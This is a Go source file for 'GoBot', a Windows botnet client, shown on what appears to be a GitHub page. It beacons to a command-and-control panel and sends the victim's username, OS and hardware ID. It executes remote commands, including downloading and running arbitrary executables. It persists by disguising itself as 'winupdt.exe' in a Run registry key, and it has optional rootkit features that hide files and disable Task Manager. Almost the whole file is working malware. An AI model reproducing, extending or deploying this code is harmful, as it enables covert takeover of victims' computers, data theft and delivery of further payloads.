-
Notifications
You must be signed in to change notification settings - Fork 43
/
Copy pathGoBot.go
384 lines (349 loc) · 13.1 KB
/
GoBot.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
//Compile with go build -o GoBot.exe -ldflags "-H windowsgui" "C:\gobot.go" to have no console show.
// By SaturnsVoid
package main
import (
"bytes"
"crypto/md5"
"encoding/base64"
"encoding/hex"
"fmt"
"github.com/luisiturrios/gowin"
"io"
"io/ioutil"
"math/rand"
"net/http"
"net/url"
"os"
"os/exec"
"os/user"
"strings"
"syscall"
"time"
"unsafe"
"GoBot/rootkit"
)
var (
//================================================================================
//================================================================================
//================================================================================
//==========================================================Edit
Panel string = "aHR0cDovLzEyNy4wLjAuMS9nb2JvdC9Hb0JvdC5waHA=" //Control Panel URL(Base64 Encoded) http://127.0.0.1/cmd.php = aHR0cDovLzEyNy4wLjAuMS9jbWQucGhw
ReconnectTime time.Duration = 5 //Minutes
SingleInstance bool = true //True = Only one can run, False = Mutliple can run at once
InstanceKey string = "0f7b0fcd-d67c-43d8-b7e5-76f95da01665" //Key to detect for Single Instance http://www.guidgen.com/
USE_Install bool = false // If enabled, GoBot will add itelf to startup
USE_Stealth bool = false // If enabled, GoBot will add hidden and system attributes to its files
USE_Rootkit bool = false /* If enabled, this will:
- Actively cloak GoBot's files from user detection
- Actively monitor registry to prevent removal from start up
- Disable task manager and other system tools
- Protect GoBot's process from termination */
//==========================================================End Edit
//================================================================================
//================================================================================
//================================================================================
LastCMD string
modkernel32 = syscall.NewLazyDLL("kernel32.dll")
procCreateMailslot = modkernel32.NewProc("CreateMailslotW")
kernel32, _ = syscall.LoadLibrary("kernel32.dll")
getModuleHandle, _ = syscall.GetProcAddress(kernel32, "GetModuleHandleW")
user32, _ = syscall.LoadLibrary("user32.dll")
messageBox, _ = syscall.GetProcAddress(user32, "MessageBoxW")
)
const (
MB_OK = 0x00000000
MB_OKCANCEL = 0x00000001
MB_ABORTRETRYIGNORE = 0x00000002
MB_YESNOCANCEL = 0x00000003
MB_YESNO = 0x00000004
MB_RETRYCANCEL = 0x00000005
MB_CANCELTRYCONTINUE = 0x00000006
MB_ICONHAND = 0x00000010
MB_ICONQUESTION = 0x00000020
MB_ICONEXCLAMATION = 0x00000030
MB_ICONASTERISK = 0x00000040
MB_USERICON = 0x00000080
MB_ICONWARNING = MB_ICONEXCLAMATION
MB_ICONERROR = MB_ICONHAND
MB_ICONINFORMATION = MB_ICONASTERISK
MB_ICONSTOP = MB_ICONHAND
MB_DEFBUTTON1 = 0x00000000
MB_DEFBUTTON2 = 0x00000100
MB_DEFBUTTON3 = 0x00000200
MB_DEFBUTTON4 = 0x00000300
letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
)
func main() {
defer syscall.FreeLibrary(kernel32)
defer syscall.FreeLibrary(user32)
if SingleInstance != false {
err := singleInstance(InstanceKey)
if err != nil {
}
}
DebugLog("Started New Instance...")
DebugLog("Generating HWID: " + getUID())
if USE_Install {
DebugLog("Installing GoBot...")
Install()
}
if USE_Stealth && USE_Install {
DebugLog("Stealth Installing GoBot...")
rootkit.Stealthify()
}
if USE_Rootkit && USE_Stealth && USE_Install {
DebugLog("Installing GoBot and Activating Rootkit...")
go rootkit.Install()
}
DebugLog("Sleeping for 1 minute...")
time.Sleep(60 * time.Second)
httpPOSTInformation()
for {
time.Sleep(ReconnectTime * time.Second)
httpGETCommands()
}
}
func httpGETCommands() {
rsp, err := http.Get(base64Decode(Panel) + "?get=" + getUID())
if err != nil {
DebugLog("Bad connection to panel...")
} else {
defer rsp.Body.Close()
buf, err := ioutil.ReadAll(rsp.Body)
if err != nil {
} else {
var tmpdat string = string(bytes.TrimSpace(buf))
if tmpdat == "Bot does not exist." {
httpPOSTInformation()
} else {
DebugLog("Encoded Command Found: " + string(bytes.TrimSpace(buf)))
data := base64Decode(tmpdat)
if data != LastCMD {
tmp := strings.Split(data, "|")
if tmp[0] == "ALL" || tmp[0] == getUID() {
DebugLog("Decoded Command for me: " + data)
if tmp[1] == "0" {
os.Exit(0)
} else if tmp[1] == "1" {
if tmp[3] == "V" {
if strings.Contains(tmp[2], "www.") {
DebugLog("Opening Website V: " + tmp[2])
LastCMD = data
exec.Command("cmd", "/c", "start", tmp[2]).Start()
}
} else if tmp[3] == "H" {
if strings.Contains(tmp[2], "www.") {
DebugLog("Opening Website H: " + tmp[2])
LastCMD = data
rsp, err := http.Get(tmp[2])
if err != nil {
}
defer rsp.Body.Close()
}
}
} else if tmp[1] == "2" {
DebugLog("Showing MessageBox: " + tmp[2])
LastCMD = data
MessageBox(tmp[2], tmp[3], MB_OK)
} else if tmp[1] == "3" {
if strings.Contains(tmp[2], ".exe") {
DebugLog("Attempting to start: " + tmp[2])
LastCMD = data
run("start " + tmp[2])
}
} else if tmp[1] == "4" {
if strings.Contains(tmp[2], ".exe") && strings.Contains(tmp[2], "http://") {
DebugLog("Attempting to download and run: " + tmp[2])
LastCMD = data
DownloadAndRun(tmp[2])
}
}
}
}
}
}
}
}
func httpPOSTInformation() {
DebugLog("Sending Host Information...")
data := url.Values{}
data.Set("INFO", "")
data.Add("HWID", getUID())
data.Add("USERNAME", getUsername())
data.Add("WINDOWS", getOS())
u, _ := url.ParseRequestURI(base64Decode(Panel))
urlStr := fmt.Sprintf("%v", u)
client := &http.Client{}
r, _ := http.NewRequest("POST", urlStr, bytes.NewBufferString(data.Encode())) // <-- URL-encoded payload
r.Header.Add("Content-Type", "application/x-www-form-urlencoded")
resp, err := client.Do(r)
if err != nil {
DebugLog("Bad connection to panel...")
} else {
DebugLog("Panel: " + resp.Status)
}
}
//================================================================================
//================================================================================
//================================================================================
//================================================================================
//-----------------------------------------------------------------Single Instance
func singleInstance(name string) error {
ret, _, _ := procCreateMailslot.Call(
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(`\\.\mailslot\`+name))),
0,
0,
0,
)
if int64(ret) == -1 {
os.Exit(0)
}
return nil
}
//================================================================================
//================================================================================
//================================================================================
//================================================================================
//-----------------------------------------------------------------Information
func getUsername() string {
usr, _ := user.Current()
return usr.Username
}
func getOS() string {
val, _ := gowin.GetReg("HKLM", `Software\Microsoft\Windows NT\CurrentVersion`, "ProductName")
return val
}
func getWInstalDate() string {
val, _ := gowin.GetReg("HKLM", `Software\Microsoft\Windows NT\CurrentVersion`, "InstallDate")
return val
}
func getUID() string {
return getMD5Hash("GoBot$" + getUsername() + getOS() + getWInstalDate() + "$toBoG")
}
//================================================================================
//================================================================================
//================================================================================
//================================================================================
//----------------------------------------------------------------Cryptography
func getMD5Hash(text string) string {
hasher := md5.New()
hasher.Write([]byte(text))
return hex.EncodeToString(hasher.Sum(nil))
}
func base64Encode(str string) string {
return base64.StdEncoding.EncodeToString([]byte(str))
}
func base64Decode(str string) string {
data, err := base64.StdEncoding.DecodeString(str)
if err != nil {
return ""
}
return string(data)
}
//================================================================================
//================================================================================
//================================================================================
//================================================================================
//-----------------------------------------------------------------MessageBox
func abort(funcname string, err error) {
panic(fmt.Sprintf("%s failed: %v", funcname, err))
}
func MessageBox(caption, text string, style uintptr) (result int) {
var nargs uintptr = 4
ret, _, callErr := syscall.Syscall9(uintptr(messageBox),
nargs,
0,
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(text))),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
style,
0,
0,
0,
0,
0)
if callErr != 0 {
abort("Call MessageBox", callErr)
}
result = int(ret)
return
}
func GetModuleHandle() (handle uintptr) {
var nargs uintptr = 0
if ret, _, callErr := syscall.Syscall(uintptr(getModuleHandle), nargs, 0, 0, 0); callErr != 0 {
abort("Call GetModuleHandle", callErr)
} else {
handle = ret
}
return
}
//================================================================================
//================================================================================
//================================================================================
//================================================================================
//--------------------------------------------------------------Installer
func Install() {
if !(strings.Contains(os.Args[0], "winupdt.exe")) {
run("mkdir %APPDATA%\\Windows_Update")
run("copy " + os.Args[0] + " %APPDATA%\\Windows_Update\\winupdt.exe")
run("REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V Windows_Update /t REG_SZ /F /D %APPDATA%\\Windows_Update\\winupdt.exe")
}
}
//================================================================================
//================================================================================
//================================================================================
//================================================================================
//----------------------------------------------------------------Debug Logger
func DebugLog(text string) {
currenttime := time.Now().Local()
fmt.Println("[", currenttime.Format("2006-01-02 15:04:05"), "] "+text)
}
//================================================================================
//================================================================================
//================================================================================
//================================================================================
//----------------------------------------------------------------------------CMD Runner
func run(cmd string) {
c := exec.Command("cmd", "/C", cmd)
if err := c.Run(); err != nil {
//fmt.Println("Error: ", err)
}
}
//================================================================================
//================================================================================
//================================================================================
//================================================================================
//--------------------------------------------------------------------------Download and Run File
func DownloadAndRun(url string) {
fileName := RandStringBytes(5) + ".exe"
DebugLog("Downloading " + url + " to " + fileName)
output, err := os.Create(os.Getenv("APPDATA") + "\\" + fileName)
if err != nil {
return
}
defer output.Close()
response, err := http.Get(url)
if err != nil {
return
}
defer response.Body.Close()
n, err := io.Copy(output, response.Body)
if err != nil {
return
}
DebugLog(string(n) + " file downloaded.")
DebugLog(os.Getenv("APPDATA") + "\\" + fileName)
DebugLog("Attempting to start " + fileName)
exec.Command("cmd", "/c", "start", os.Getenv("APPDATA")+"\\"+fileName).Start()
}
//================================================================================
//================================================================================
//================================================================================
//================================================================================
//-------------------------------------------------------------------------Random String Generator
func RandStringBytes(n int) string {
b := make([]byte, n)
for i := range b {
b[i] = letterBytes[rand.Intn(len(letterBytes))]
}
return string(b)
}